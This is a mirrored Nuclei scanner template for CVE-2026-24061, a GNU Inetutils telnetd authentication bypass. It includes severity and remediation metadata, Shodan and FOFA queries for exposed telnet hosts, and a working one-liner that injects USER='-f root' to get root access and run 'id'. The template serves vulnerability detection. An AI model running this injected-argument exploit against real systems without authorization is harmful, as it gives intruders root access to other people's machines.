mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-01-31 07:43:27 +08:00
52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2026-24061
|
|
|
|
info:
|
|
name: GNU Inetutils telnetd - Authentication Bypass
|
|
author: pussycat0x
|
|
severity: critical
|
|
description: |
|
|
GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
|
|
remediation: |
|
|
Update to a version later than 2.7 or the latest available version.
|
|
impact: |
|
|
Remote attackers can bypass authentication, gaining unauthorized root access to the system.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2026-24061
|
|
cwe-id: CWE-88
|
|
epss-score: 0.24856
|
|
epss-percentile: 0.95992
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: gnu
|
|
product: inetutils
|
|
shodan-query: port:23 telnet
|
|
fofa-query: port="23" && protocol="telnet"
|
|
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
|
|
|
|
code:
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
|
|
source: |
|
|
(sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: response
|
|
regex:
|
|
- 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
|
|
|
|
- type: word
|
|
part: response
|
|
words:
|
|
- "Last login"
|
|
- "Debian"
|
|
condition: and
|
|
# digest: 4a0a00473045022100a068ec1ba2a8d5421bfb6b0271fc1e8e0f31e5a8c6bde6d7cbe6326b7d6d130f0220543934751384a07c9c921ae297e33a456c61afe20d645daaf8d5a2323a12e638:922c64590222798bb761d5b6d8e72950 |